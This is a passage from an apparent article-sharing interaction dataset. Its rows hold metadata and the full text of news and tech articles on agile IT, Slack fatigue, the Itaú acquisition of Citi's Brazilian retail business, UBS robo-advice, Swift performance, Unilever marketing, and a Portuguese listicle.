pilar a ser considerado são os talentos para essa mudança. Quem atua em sistemas legados tem grande conhecimento do negócio e, portanto, tem muito a contribuir. Dentro deles tem muitos que estão ansiosos por trabalharem de forma mais ágil e com tecnologias inovadoras. Com o modelo ágil, algumas funções tendem a desaparecer como os profissionais encarregados de fazerem testes, comuns nos modelos waterfall, mas surgem outras funções como ""product owners"". Esses profissionais são de suma importância e devem ser escolhidos cuidadosamente. Recomendo a leitura de um artigo que aborda esse detalhe, do BCG, "" Agile Development's Biggest Failure Point-and How to Fix It "". O ambiente tecnológico é o quarto pilar. Os princípios ágeis devem ser adotados em todos os projetos da empresa, mesmo nos legados. O "" Agile Manifesto "" deve ser o mantra da empresa e da TI, e seus princípios filosóficos devem direcionar todas as ações. Para isso é necessário uso de tecnologias em todos os aspectos do desenvolvimento de software. A automação do máximo de tarefas é essencial para a TI ser realmente ágil. E finalmente, implemente os conceitos ágeis de forma ágil! A transformação para uma empresa ou TI ágil não é apenas tecnologia. Trata-se de uma nova maneira de pensar. É um princípio mais colaborativo, mais aberto, mais criativo, e muito mais eficiente do que os outros modelos. E é um princípio que deve ser implementado em toda a empresa, e não apenas em um ou dois departamentos na área de desenvolvimento da TI. Temos que reconhecer as diferenças de cultura, estilo e complexidade de se adotar uma cultura ágil entre uma startup exponencial e uma empresa com dezenas de milhares de funcionários, com uma TI gigantesca, envolvida basicamente com sistemas legados, com forte e arraigada cultura linear. Ágil em desenvolvimento de apps não é igual a ser ágil em um mainframe. Também as barreiras aparecem quando as empresas têm grandes ERPs monolíticos, que dificultam a agilidade. São complexidades que precisam de uma forma ou de outra serem vencidas. Não existe uma única receita que se adapte a todas as empresas. Cada uma escolhe o seu caminho, mas o importante é que agilidade seja seu objetivo a ser alcançado no menor espaço de tempo possível. TI bimodal deve ser apenas um meio e não o fim da jornada. Você não tem que fazer ágil, tem que ser ágil na essência!",pt
1475881127,CONTENT SHARED,-6380034335041404646,-8020832670974472349,1205288102231384710,Android - Native Mobile App,SP,BR,HTML,https://www.entrepreneur.com/article/282428,How the Communicator's Dilemma Made a 'Slack-lash' Inevitable,"Slack is a powerful communication tool and one of the most celebrated tech companies of the past couple of years with 2.7 million daily users and a $3.8 billion valuation. So it has been interesting to witness the so-called ""Slacklash"" -- a small but rising tide of exhausted users vowing not to use the service again. Where once the messaging platform was called ""the thing that keeps us all together"" , there is now a website chronicling the backlash, The Atlantic has reported about the growing number of complaints and, of course, there is a hashtag to capture #Slacklash tweets . Why is a tool with so much promise and enthusiasm being turned on so quickly by an increasing segment of its early adopters? Sure, it may just be 7:00 Silicon Valley Time but a major reason in my estimation is the inevitable ineffectiveness of communication platforms -- what I call The Communicator's Dilemma. The who and what of communication. Regardless of the medium, communication between humans has two main dimensions: Who are you communicating with What are you communicating about. Each of these dimensions runs along a spectrum: From your close friends and colleagues to anyone in the world (who) From specific to general topics (what), as depicted in the below graph. All new communication platforms start in quadrant A. Life is great in A. You feel so efficient. You're communicating with people you know on topics you care about, with few distractions. Time-wasting tools, like email, that occupy quadrant D seem like relics of the less-productive past. "" I'm getting so much done ,"" you declare,""I'll never use email again!"" But it's very difficult to stay in quadrant A. Users inevitably expand the spectrum of the efficient new medium to more friends and colleagues, while discussing broader topics. The platform vendor will obviously encourage this expanded usage and engagement as part of its growth strategy. But as soon as this happens, the utility of the platform tips from communication to distraction. The Communicator's Dilemma strikes again. Related: Jump-Start Your Startup Process With Ingenious Apps Like Canva, Grasshopper and Slack Don't blame the tools. Slack is the latest shiny new platform to go through that maturation, but hardly the only one. Facebook is a great way to stay in touch with friends, but it also inundates you with distant relatives cluttering your feed with their crazy cats. LinkedIn started as a powerful way to build your professional network, but is increasingly a platform for sales pitches and ""inspirational quotes"" -- the workplace equivalent of cat photos. In all these cases, the tool is not necessarily the problem. As a messaging service, Slack is excellent with great features like channels that, in theory, should make people more productive. But because Slack can be used to communicate about anything, it's hard for users to intuitively grasp how to employ it most effectively. As a result, channels become overloaded leading to a torrent of notifications and messages that users can't keep up with. Jason Fried, the founder and CEO of project management app Basecamp, authored an insightful critique of Slack and similar group chat services. He particularly dislikes how such near-synchronous messaging services: Expect people to be ""always on"" and available any time Have a short-and-fast format that discourages thoughtful feedback Typically lack context of what's being discussed -- particularly for visual work Slack was supposed to be a more productive alternative to our overloaded inboxes, yet is starting to provoke similar levels of resentment among users as email. Ultimately it comes back to the Communicator's Dilemma. Any replacement for email that aspires to occupy Quadrant D will inevitably assume many of the problems associated with email. Vertical communications are on the up. It may not be fashionable to say it, but email remains a useful tool . Most of us want and need a horizontal communication tool where anyone can contact us about any subject, we just don't need too many of them dividing our attention. The solution to The Communicator's Dilemma is not to add more horizontal platforms like email or Slack but instead to supplement them with vertical services that have a clearly defined purpose, like how engineers discuss software development in Github. Related: Using Slack to Build a Referral Network A product like Github is purpose-built for discussions around specific projects and cat pics from distant relatives are not welcome. Because the communication they facilitate is always in-context and relevant to the whole team, everyone feels in-the-loop without being over-whelmed and discussion is more effective. Function-specific tools allow people to actively choose to go in and get work done then get out when they're finished. They avoid the inefficient context switching of an inbox full of messages, while easing the burden on Quadrant D tools by having task-specific conversations in a more effective place. So instead of a Slacklash leading to people abandoning a perfectly good messaging tool, why not integrate it with those other services different departments already use to work together. The #Slackmash trend starts here.",en
1476106137,CONTENT SHARED,7013665235990336340,5660542693104786364,-3676384400763184998,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://g1.globo.com/economia/noticia/2016/10/itau-unibanco-fecha-compra-de-ativos-de-varejo-do-citi-no-brasil.html,Itaú Unibanco fecha compra de ativos de varejo do Citi no Brasil,"O Itaú Unibanco Holding S.A., por meio de suas controladas Itaú Unibanco S.A. e Itaú Corretora de Valores S.A, anunciou neste sábado (8) acordo com o Citibank e outras sociedades de seu conglomerado para aquisição dos negócios de varejo da instituição no Brasil por R$ 710 milhões de reais. O comunicado foi divulgado no site do Itaú. A operação de varejo do Citibank no Brasil conta com 71 agências e uma base de, aproximadamente, 315 mil clientes correntistas, R$ 35 bilhões entre depósitos e ativos sob gestão (valores brutos na data-base de 31 de dezembro de 2015), 1,1 milhão de cartões de crédito e R$ 6 bilhões de carteira de crédito. No final de setembro, o Itaú Unibanco confirmou a negociação com o Citi . Com essa aquisição, o Itaú Unibanco passará a ter R$ 1.404 trilhão em ativos. ""A operação envolverá a reestruturação societária de algumas sociedades do conglomerado Citibank, de modo que o negócio de varejo no Brasil seja cindido e transferido para sociedades que serão objeto da aquisição"", diz o comunicado. Empréstimos, depósitos, cartões de crédito, agências, gestão de recursos e corretagem de seguros, assim como as participações societárias detidas pelo Citibank na TECBAN -Tecnologia Bancária S.A, que representa 5,64% do seu capital social, e na Cibrasec - Companhia Brasileira de Securitização, que representa 3,60% do seu capital social, fazem parte do acordo. Conclusão da operação A conclusão da operação está sujeita ao cumprimento de determinadas condições precedentes, incluindo as aprovações do Banco Central do Brasil e do Conselho Administrativo de Defesa Econômica (Cade). Segundo o comunicado, com a conclusão da operação, os clientes do Citibank terão a mesma eficiência e qualidade no atendimento e passarão a contar com uma oferta de serviços digitais, já que 95% dos negócios podem ser formalizados remotamente no Itaú Unibanco. Os clientes do Citibank também terão acesso a rede de atendimento, composta por mais de quatro mil agências e postos de atendimento e 44 mil caixas eletrônicos em todo o território nacional. A agência do banco Citibank no Centro do Rio (Foto: Marcelo Elizardo/G1) Histórico O Citi anunciou em fevereiro a intenção de vender suas operações de varejo no Brasil, na Argentina e na Colômbia. Os serviços prestados a empresas e o braço de investimentos não estão incluídos. O que sendo oferecido é basicamente a carteira de clientes pessoas físicas da rede de agências Citibank e da corretora Citi. Com a compra do HSBC pelo Bradesco e saída do Citi do país , o único grande banco estrangeiro com operação relevante no varejo bancário brasileiro será o Santander. Segundo dados do Banco Central, o Citibank é o 11º maior banco do Brasil, com um volume de ativos da ordem de R$ 81 bilhões. 'Decisão global', diz Meirelles O ministro da Fazenda, Henrique Meirelles"", disse que a decisão do Citibank é ""global, não é exclusivamente no Brasil"", ao ser questionado por jornalistas sobre os efeitos da venda de concentração no mercado financeiro do país. ""O Citibank está concentrando suas operações no varejo"", afirmou em entrevista nos Estados Unidos, onde participa de reunião do Fundo Monetário Internacional (FMI) e do Banco Mundial. ""Aliás o presidente mundial do Citibank esteve comigo ontem e me assegurou que o Brasil é prioridade sim, e que nas áreas em que o Citibank é forte globalmente, e inclusive o Brasil, continuará investindo cada vez mais"", relatou Meirelles. ""A estratégia foi exatamente de foco nas atividades em que eles são mais fortes. Portanto, o banco não anunciou a saída do Brasil, mas simplesmente a venda das operações de varejo que estavam dando prejuízos.""",pt
1476106296,CONTENT SHARED,-427385793606723821,7580644064067188685,2473288363888085701,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www.finextra.com/newsarticle/29570/ubs-targets-less-rich-brits-with-robo-advisor-platform,UBS targets less rich Brits with robo-advisor platform,"UBS is hoping to bring its wealth management services to a wider audience through the launch of a digital robo-advisory platform available to UK customers with as little as £15,000 to invest. The UBS SmartWealth platform will be offered to some UK customers in November before a country-wide rollout in 2017, with other markets expected to follow. A year in the making, the system uses proprietary technology to provides regulated and real-time advice online. It recommends a suitable investment strategy based on a client's individual financial situation relative to their attitude to risk and an understanding of their life stage, assets and goals. Performance is regularly checked to provide clients with ongoing updates against their goals and advice on possible actions, while portfolios are also adjusted on an ongoing basis, relative to the views of UBS's worldwide research and investment experts. The bank says that SmartWealth enables to bring its wealth management service to a ""new group of clients"", requiring a minimum investment of just £15,000. Like other banks, UBS is keen to take advantage of technological advances to win over a whole new market to its wealth management service. Earlier this year the Swiss giant joined a $40 million funding round for San Francisco-based robo-advisor SigFig. In addition to the money, the pair promised a joint advisor technology research and innovation lab, where UBS financial advisors, product experts and technologists can work with SigFig's digital experts. Dirk Klee, COO, UBS Wealth Management, says: ""UBS SmartWealth is a strategically important move for UBS. It enables us to bring our advice and expertise to a much wider audience, at first in the UK, but in time in other geographies too. ""Technology is changing the way financial services are delivered. The launch of UBS SmartWealth shows that digital innovation is not the sole reserve of start-ups. Large market-leading institutions have the resources to research, test and build transformative new products and services.""",en
1476121885,CONTENT SHARED,8416004328454490172,-3643155458357242906,-1287220341060068950,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://realm.io/news/real-world-swift-performance/?utm_campaign=This%2BWeek%2Bin%2BSwift&utm_medium=email&utm_source=This_Week_in_Swift_105,Real World Swift Performance,"Lots of things can make your application slow. In this talk we're going to explore application performance from the bottom. Looking at the real world performance impact of Swift features (Protocols, Generics, Structs, and Classes) in the context of data parsing, mapping, and persistence, we will identify the key bottlenecks as well as the performance gains that Swift gives us. Introduction (0:00) I'm going to talk to you about Swift performance. When building software, especially mobile software where people are distracted and busy, they want to get on with their life rather than deal with your application. It's frustrating when apps are slow, and don't do what users want when they want to do it. So it's important to make your code fast. What makes code slow? When you're writing code and choosing your abstractions, it's important to be cognizant of the implications of those abstractions. I'm going to start out by talking about how to understand the trade-offs between opting-in to dynamic versus static dispatch and how things will be allocated, and how to choose the best fit for you. One of the biggest, and often unavoidable costs in code, is object allocation and deallocation. Swift will automatically allocate and deallocate memory for you, and there are two types of allocation. First is stack-based allocation . When it can, Swift will allocate memory on the stack. The stack is a super simple data structure; you push from the end of it and pop from the top of it. Because you can only mutate the ends of the stack, you can implement it by keeping a pointer to the end, and allocating and deallocating memory from it is a case of reassigning that integer. Then we have heap allocation . This allows you to allocate memory with a far more dynamic lifetime, but requires a much more complex data structure. To allocate memory on the heap you have to lock up a free block in the heap with enough size to hold your object. You find the unused block, and then you allocate that, and when you want to deallocate memory you have to search for where to reinsert the block. That's slow. Mostly because you have to lock and synchronize things for the purpose of thread safety. Reference counting (2:30) We also have reference counting which is slightly less expensive, but happens way more often, so it's still a pain. Reference counting is the mechanism used in Objective-C and Swift to determine when it's safe to release objects. These days, reference counting is forced to be automatic in Swift, which means it's much easier to ignore, however, then you work in instruments where your code is being slow, and you see 20,000 calls to Swift retainers with release, taking up 90% of the time. That's because if you have this function that takes an object and does a thing with the object, the compiler will automatically insert a retain-and-release so the object doesn't go away during the lifetime of your method. These retains-and-releases are atomic operations, and therefore have to be slow. Or rather, we don't know how to make them much faster than they already are. Dispatch and objects (3:28) Then we also have dispatch. Swift has three types of dispatch. It will inline functions where possible, and then there's no additional cost to having that function. The calls are just there. Static dispatch through a V-table is essentially a lookup and a jump and takes about one nanosecond. And then dynamic dispatch that takes about five nanoseconds, which isn't really a problem when you only have a few method calls, but if you're inside a nested loop or performing thousands of operations then it starts to add up. Swift also has two main types of objects. You have classes, and with a class everything will be allocated on the heap. As you can see here, we have a class that is an index. It has two properties, a section and an item. When we create that, the stack has a pointer to the index, and on the heap we have the section and the item. If we make another reference to that, then we have two pointers to the same area on the heap and its shared memory. We'll also automatically insert a retain for your second reference to the object. A lot of people will say that structs are the easiest way to write fast Swift code, and that's generally a good thing to have because they'll try to put things on the stack and you can often have static or inline dispatch. Swift structs have three words on the stack for storage. If your struct has three or fewer properties then the struct's values will generally be inline on the stack. A word is the size of a built-in integer on your CPU, and it's the chunks that the CPU will work in. As you can see here, when we create the struct, the index struct with the section and the item the values are directly down on the stack and no extra allocation has occurred. What happens when we assign things elsewhere? If we assign P-2 to P, we simply copy the values that are already in the stack again, and we don't share the reference. This is where we get value semantics from. What happens if we have a reference type in our struct? A struct has the inline pointers. Then when we assign it elsewhere we have the same pointers shared across the two structs and we have two retains to the pointers, rather than a single retain on the object. This is more expensive than if you had a class, for example, with the same result. Abstractions (6:59) As we said before, Swift provides a lot of different abstractions that allow you to make your own decisions about how code should be run and its performance characteristics. No we're going to look at how this applies to actual code. Here's some simple code: We have a circle with a radius and a center. It has three words of storage, and it will be on the stack. We create one hundred million of them and then we loop over those circles and call a single function. On my computer this takes 0.3 seconds in release mode. What happens when the requirements change? Rather than just drawing circles, our code now needs to be able to handle multiple types of shapes. Let's say we need to draw lines. We're super excited about protocol-oriented programming because it allows us to have polymorphism without inheritance and it allows us to think about the types. What we techs like to do is extract that out into a protocol, and the simple change of referencing the array by the protocol now makes the code take 4.0 seconds to run. That's a 1300% slowdown. Why? This is because the code that was previously able to be statically dispatched and executed without any heap applications cannot be done. This is because of how protocols are implemented. For example, here you can see that all we know about is our circle. What the Swift compiler will do is either go though the V-table or inline the draw function directly inside the for-loop. When we reference it by the protocol it doesn't know whether the object is a struct or a class. It could be anything that conforms to that protocol. How do we go about dispatching the draw function? The answer lies in the protocol witness table. It's an object with a known layout that is generated for every protocol performance in your application, and this table essentially acts as an alias for the underlying implementation. In this code here, how do we actually get to the protocol witness table? The answer is the existential container which for now has three words of storage for structs that fit inside the value buffer and then a reference to the protocol witness table. Here our circle fits inside the three word buffer and won't be referenced separately, Our line, for example, which has four words of storage because it has two points and my slide is basically source kit service terminated. This line struct requires more than four words of storage. How do we do that? How does that affect the performance of this code? Well, this happens: It takes 45 seconds to execute. Why does this take so much longer and why is that happening? A portion of that time is spent allocating the structs because now they don't fit within that three-word buffer. That storage will be allocated on the heap, but it's also partially related to how protocol works, again. Because the existential container only has three words of storage for structs or a reference to an object, we also need to have something called the value witness table. This is what we use to handle arbitrary values. A value witness table is also created and then it has three words of storage for the value buffer, for any inline structs, and it generalizes allocation, copying, destruction and the deallocation of a value or class. What we have here is an example of some code and then what will be generated from it. If we just had a draw function, that took a value and then we create the line, and then we pass it to the drawable function. What actually happens is it passes the drawable existential container and then that'll be created again, inside the function. It'll copy the value and protocol witness table, and then allocate a new buffer and copy the value of the other struct, or class, or whatever that object is. Then it'll use the draw function on the protocol witness table and pass the actual drawable. You can see that the value witness table and the protocol witness table will be over here on the stack and the line will be on the heap and as will the line drawable. Modelling your data / Conclusion (12:15) Simple changes in the way we model data can have a huge impact on performance. Let's look at some ways to avoid these costs. Let's talk about generics. You're going to say, but you just showed us that protocols could be really slow, why would we want to use generics? The answer comes from what generics allow us to do. Say we have this stack struct that is generic of a T , which is constrained by some type, which would be a protocol. What the compiler will do is replace that T with the protocol or the concrete class that you're passing to it. Do that all of the way down the function chain and it will create specialized versions of that code that operate directly on the type. You no longer need to go through the value witness table, or the protocol witness table, and you eradicate the existential container, which could be a really nice way to still write really fast generic code and have the really nice polymorphism that Swift gives us. That's called static polymorphism. You can also improve a lot of your data model by using enumerations rather than having lots of strings from the server. For example, if you were building a social network and had a bunch of accounts that needed a status, previously you might have had that as a raw string on the type. If you had an enum for that then you don't actually need to allocate anything there and then when you're passing it around you're just passing the value from the enum, which can be a really nice way to speed up your code as well as having safer, more readable code throughout your application. Also, it can be super useful to have actual domain-specific models in the form of u-models or presenters, or various other types of abstraction that allow you to cut out a lot of the cruft that you don't need in your app. I think I've run slightly short, but thank you very much.",en
1476122071,CONTENT REMOVED,8416004328454490172,-3643155458357242906,-1287220341060068950,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://realm.io/news/real-world-swift-performance/?utm_campaign=This%2BWeek%2Bin%2BSwift&utm_medium=email&utm_source=This_Week_in_Swift_105,Real World Swift Performance,"Lots of things can make your application slow. In this talk we're going to explore application performance from the bottom. Looking at the real world performance impact of Swift features (Protocols, Generics, Structs, and Classes) in the context of data parsing, mapping, and persistence, we will identify the key bottlenecks as well as the performance gains that Swift gives us. Introduction (0:00) I'm going to talk to you about Swift performance. When building software, especially mobile software where people are distracted and busy, they want to get on with their life rather than deal with your application. It's frustrating when apps are slow, and don't do what users want when they want to do it. So it's important to make your code fast. What makes code slow? When you're writing code and choosing your abstractions, it's important to be cognizant of the implications of those abstractions. I'm going to start out by talking about how to understand the trade-offs between opting-in to dynamic versus static dispatch and how things will be allocated, and how to choose the best fit for you. One of the biggest, and often unavoidable costs in code, is object allocation and deallocation. Swift will automatically allocate and deallocate memory for you, and there are two types of allocation. First is stack-based allocation . When it can, Swift will allocate memory on the stack. The stack is a super simple data structure; you push from the end of it and pop from the top of it. Because you can only mutate the ends of the stack, you can implement it by keeping a pointer to the end, and allocating and deallocating memory from it is a case of reassigning that integer. Then we have heap allocation . This allows you to allocate memory with a far more dynamic lifetime, but requires a much more complex data structure. To allocate memory on the heap you have to lock up a free block in the heap with enough size to hold your object. You find the unused block, and then you allocate that, and when you want to deallocate memory you have to search for where to reinsert the block. That's slow. Mostly because you have to lock and synchronize things for the purpose of thread safety. Reference counting (2:30) We also have reference counting which is slightly less expensive, but happens way more often, so it's still a pain. Reference counting is the mechanism used in Objective-C and Swift to determine when it's safe to release objects. These days, reference counting is forced to be automatic in Swift, which means it's much easier to ignore, however, then you work in instruments where your code is being slow, and you see 20,000 calls to Swift retainers with release, taking up 90% of the time. That's because if you have this function that takes an object and does a thing with the object, the compiler will automatically insert a retain-and-release so the object doesn't go away during the lifetime of your method. These retains-and-releases are atomic operations, and therefore have to be slow. Or rather, we don't know how to make them much faster than they already are. Dispatch and objects (3:28) Then we also have dispatch. Swift has three types of dispatch. It will inline functions where possible, and then there's no additional cost to having that function. The calls are just there. Static dispatch through a V-table is essentially a lookup and a jump and takes about one nanosecond. And then dynamic dispatch that takes about five nanoseconds, which isn't really a problem when you only have a few method calls, but if you're inside a nested loop or performing thousands of operations then it starts to add up. Swift also has two main types of objects. You have classes, and with a class everything will be allocated on the heap. As you can see here, we have a class that is an index. It has two properties, a section and an item. When we create that, the stack has a pointer to the index, and on the heap we have the section and the item. If we make another reference to that, then we have two pointers to the same area on the heap and its shared memory. We'll also automatically insert a retain for your second reference to the object. A lot of people will say that structs are the easiest way to write fast Swift code, and that's generally a good thing to have because they'll try to put things on the stack and you can often have static or inline dispatch. Swift structs have three words on the stack for storage. If your struct has three or fewer properties then the struct's values will generally be inline on the stack. A word is the size of a built-in integer on your CPU, and it's the chunks that the CPU will work in. As you can see here, when we create the struct, the index struct with the section and the item the values are directly down on the stack and no extra allocation has occurred. What happens when we assign things elsewhere? If we assign P-2 to P, we simply copy the values that are already in the stack again, and we don't share the reference. This is where we get value semantics from. What happens if we have a reference type in our struct? A struct has the inline pointers. Then when we assign it elsewhere we have the same pointers shared across the two structs and we have two retains to the pointers, rather than a single retain on the object. This is more expensive than if you had a class, for example, with the same result. Abstractions (6:59) As we said before, Swift provides a lot of different abstractions that allow you to make your own decisions about how code should be run and its performance characteristics. No we're going to look at how this applies to actual code. Here's some simple code: We have a circle with a radius and a center. It has three words of storage, and it will be on the stack. We create one hundred million of them and then we loop over those circles and call a single function. On my computer this takes 0.3 seconds in release mode. What happens when the requirements change? Rather than just drawing circles, our code now needs to be able to handle multiple types of shapes. Let's say we need to draw lines. We're super excited about protocol-oriented programming because it allows us to have polymorphism without inheritance and it allows us to think about the types. What we techs like to do is extract that out into a protocol, and the simple change of referencing the array by the protocol now makes the code take 4.0 seconds to run. That's a 1300% slowdown. Why? This is because the code that was previously able to be statically dispatched and executed without any heap applications cannot be done. This is because of how protocols are implemented. For example, here you can see that all we know about is our circle. What the Swift compiler will do is either go though the V-table or inline the draw function directly inside the for-loop. When we reference it by the protocol it doesn't know whether the object is a struct or a class. It could be anything that conforms to that protocol. How do we go about dispatching the draw function? The answer lies in the protocol witness table. It's an object with a known layout that is generated for every protocol performance in your application, and this table essentially acts as an alias for the underlying implementation. In this code here, how do we actually get to the protocol witness table? The answer is the existential container which for now has three words of storage for structs that fit inside the value buffer and then a reference to the protocol witness table. Here our circle fits inside the three word buffer and won't be referenced separately, Our line, for example, which has four words of storage because it has two points and my slide is basically source kit service terminated. This line struct requires more than four words of storage. How do we do that? How does that affect the performance of this code? Well, this happens: It takes 45 seconds to execute. Why does this take so much longer and why is that happening? A portion of that time is spent allocating the structs because now they don't fit within that three-word buffer. That storage will be allocated on the heap, but it's also partially related to how protocol works, again. Because the existential container only has three words of storage for structs or a reference to an object, we also need to have something called the value witness table. This is what we use to handle arbitrary values. A value witness table is also created and then it has three words of storage for the value buffer, for any inline structs, and it generalizes allocation, copying, destruction and the deallocation of a value or class. What we have here is an example of some code and then what will be generated from it. If we just had a draw function, that took a value and then we create the line, and then we pass it to the drawable function. What actually happens is it passes the drawable existential container and then that'll be created again, inside the function. It'll copy the value and protocol witness table, and then allocate a new buffer and copy the value of the other struct, or class, or whatever that object is. Then it'll use the draw function on the protocol witness table and pass the actual drawable. You can see that the value witness table and the protocol witness table will be over here on the stack and the line will be on the heap and as will the line drawable. Modelling your data / Conclusion (12:15) Simple changes in the way we model data can have a huge impact on performance. Let's look at some ways to avoid these costs. Let's talk about generics. You're going to say, but you just showed us that protocols could be really slow, why would we want to use generics? The answer comes from what generics allow us to do. Say we have this stack struct that is generic of a T , which is constrained by some type, which would be a protocol. What the compiler will do is replace that T with the protocol or the concrete class that you're passing to it. Do that all of the way down the function chain and it will create specialized versions of that code that operate directly on the type. You no longer need to go through the value witness table, or the protocol witness table, and you eradicate the existential container, which could be a really nice way to still write really fast generic code and have the really nice polymorphism that Swift gives us. That's called static polymorphism. You can also improve a lot of your data model by using enumerations rather than having lots of strings from the server. For example, if you were building a social network and had a bunch of accounts that needed a status, previously you might have had that as a raw string on the type. If you had an enum for that then you don't actually need to allocate anything there and then when you're passing it around you're just passing the value from the enum, which can be a really nice way to speed up your code as well as having safer, more readable code throughout your application. Also, it can be super useful to have actual domain-specific models in the form of u-models or presenters, or various other types of abstraction that allow you to cut out a lot of the cruft that you don't need in your app. I think I've run slightly short, but thank you very much.",en
1476122382,CONTENT SHARED,-2890958311805113955,3915038251784681624,7850287137547276673,Android - Native Mobile App,SP,BR,HTML,https://econsultancy.com/blog/68376-unilever-the-biggest-digital-start-up-in-the-world/,Unilever: The biggest digital start-up in the world?,"The Festival of Marketing kicked off this morning with a talk by Keith Weed, the Chief Marketing and Communications Officer at Unilever. Now we all know Unilever as one of the biggest companies in the world - but what about the world's biggest digital startup? Not quite. But an attention-grabbing headline is no bad thing, and Keith's talk focused on how Unilever's business model has adapted in an ever-changing world, inspired by the rise of the disruptive digital startup. Here's a summary... The changing landscape Keith began by reminding us how the consumer journey has changed beyond recognition. And of course, you don't have to be in advertising to have noticed this fact. With smartphone use taking over desktop for the first time this year, it's not just what people are watching, but how people are watching it. Instead of seeing a TV ad on Thursday night and buying a product on a Saturday morning, the path to purchase is much more complex. Sharing, video, trust, sustainability, mobile - all these things are increasing important to millennials. And with millennials predicted to make up 75% of the workforce by 2025, understanding how to engage this core demographic is vital to understanding the workforce, not just Unilever consumers. So, how can a brand engage consumers at the right place and right time? How can Unilever compete? In order to keep pace with young and innovative brands, Keith highlighted three key parts of Unilever's strategy. 1. A differentiated strategy While any strategy is important to business, a digital strategy is fundamental in today's changing landscape. When Keith first became CEO of Unilever, he undertook an exercise on trends within the business, discovering the four big drivers that would shape the business in future. Firstly, he cites the digital revolution, with companies like Twitter being the driving force behind this change. Next is how people are living differently, moving out of the countryside into towns and cities, as well as people and business moving south and east across the globe. Lastly, and probably most importantly for Unilever, is the environment under stress. In determining these four factors, the brand decided to move forward with social and environmental sustainability as its core motivation . Keith cited ""building brands with purpose and which matter to people"" as one of Unilever's key engagement strategies. And a portfolio including the likes of T2 and Dollar Shave Club also shows how Unilever is adapting to a distinct digital startup mentality. . @Unilever Keith Weed on millennials, disruption & the rise of unicorns #FOM16 @FestofMarketing @MarketingWeekEd pic.twitter.com/bvEdrDuLYu - Charlotte Rogers (@Chardy_Rogers) October 5, 2016 2. Being bold and experimentation Alongside Unilever's differentiated strategy is a big focus on experimentation. Firstly, through Unilever Ventures - investing in the kind of companies that can better help the brand to understand the digital world. Keith cited Mirriad as a brand that is particularly impressive in its simple yet brilliantly innovative use of technology. Essentially, it inserts product placement into syndicated television during post-production, allowing brands to become visible. Further to this type of investment, the Unilever Foundry is another way the startup ethos has been purposely brought into the company, through a culture of 'experiment, fail, learn, repeat'. With a 50% success rate in working alongside startups, it is a division that continues to push boundaries with success stories such as the ability to personalise Marmite bottles or work with Olapic to capture user-generated imagery. By working with external companies, Unilever has ultimately changed the way it operates internally. Using mentors and advisors to inspire learning - and even implementing reverse mentoring from startups - it has created a culture built on innovation through collaboration, and one that embraces disruption. ""Make investments that help you understand the digital world and innovate the way you do #marketing "" #FOM16 pic.twitter.com/Zbv8QqE9JP - Keith Weed (@keithweed) October 5, 2016 3. Tooling up Lastly, Keith talked about how skills and capability building is at the core of Unilever's strategy. You'd never see a sports team sitting around eating crisps before a game, would you? So why do marketers think so differently about training? Keith hammered home the fact that businesses need to accept that we need to take a different approach to skills and capabilities in this ever changing world. On one hand, we have the digital natives - those who have grown up with technology. But on the other we have the 'lost generation' - the people in their late thirties early forties who might lack knowledge, but do not seek help to further it. As a result, Unilever invests in training across the board, with an increased budget for mandatory training. Keith talked about this mandatory training as 'being cruel to be kind' because if we don't learn as marketers, there's another generation coming through that knows a lot in this area. Living the space Keith finished by emphasising the importance of 'living the space'. In other words - doing all the things that consumers do in order to gain inspiration and insight. Instead of sitting back and watching changes happen, this means being at the forefront when they do. So, while Unilever might not actually be the biggest digital startup in the world, we can see why it might inspire the smallest.",en
1476124238,CONTENT SHARED,5779887740609126631,3734911646343191965,-2722195539753426481,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://www.vice.com/pt_br/read/25-coisas-que-voc-devia-comecar-a-fazer-agora-que-tem-25-anos,25 Coisas que Você Devia Começar a Fazer Agora que Tem 25 anos,"Já falamos isto: 25 anos é uma puta idade. Tecnicamente, você ainda é jovem - ainda é idiota, ainda usa jeans skinny e ainda é aceitável passar o domingo comendo pizza na cama -, mas também não é mais tão jovem assim. Você pode achar um cabelo branco. Talvez uma ruga. Você faz um barulho muito sutil quando levanta do sofá. Ou seja: a morte está mais próxima do que nunca. Ouviu isso? Esse som baixo de alguma coisa latejando, alguma coisa roendo? É o som do esquecimento, que é pra onde você está caminhando agora mesmo. Mas, olha, não é tão ruim assim. Apesar de o seu corpo estar envelhecendo - e de sua mente estar chegando ao ponto em que você vai estar na boate e pensar: ""Que merda é essa? Que MERDA é essa? Eu me recuso a dançar essa música. Isso não é nem música, é só um monte de barulho!"" -, nem tudo são más notícias. Enquanto você chora pelas primeiras vezes perdidas da sua juventude - seu primeiro cigarro, sua primeira briga, sua primeira transa -, é ilógico pensar que não vem mais nenhuma novidade por aí. E mesmo que ninguém vá escrever uma série de artigos sobre a primeira vez das pessoas experimentando, digamos, ironia, as novidades suaves do final dos seus 20 anos vão preencher as áreas cinzas de uma vida, que, até agora, pareceu mais com várias bombas de efeito moral explodindo numa balada do que uma jornada significativa. Aqui vão 25 coisas que você vai começar a curtir de verdade assim que bater no muro dos 25 anos. 1) Dar um jeito na sua vida financeira É, molecada! Finge que eu sou seu pai e vamos falar sobre por que, às vezes, fazer um empréstimo para pagar seus débitos é mais barato do que viver do cheque especial e pagar as taxas todo mês! Mais tarde, vou ensinar a arte de ""realmente abrir o extrato do banco para ver se deu alguma merda"", e depois vamos assistir a propagandas de TV para ver se mudar de banco realmente compensa. Aí, pra terminar, vamos ter uma conversa séria sobre não dever nenhuma lealdada ao seu banco só porque você tinha uma conta universitária lá que veio com um chaveirinho - divertido, né? Bom, não: é superchato, mas a sensação de se livrar da ansiedade depois do trabalho maçante descrito acima é boa pra caralho. Dar um jeito na sua situação financeira é muito mais divertido do que receber uma mensagem do seu banco no segundo dia do mês dizendo que você estourou o limite. 2) Decidir com que amigos você quer criar memórias Aos 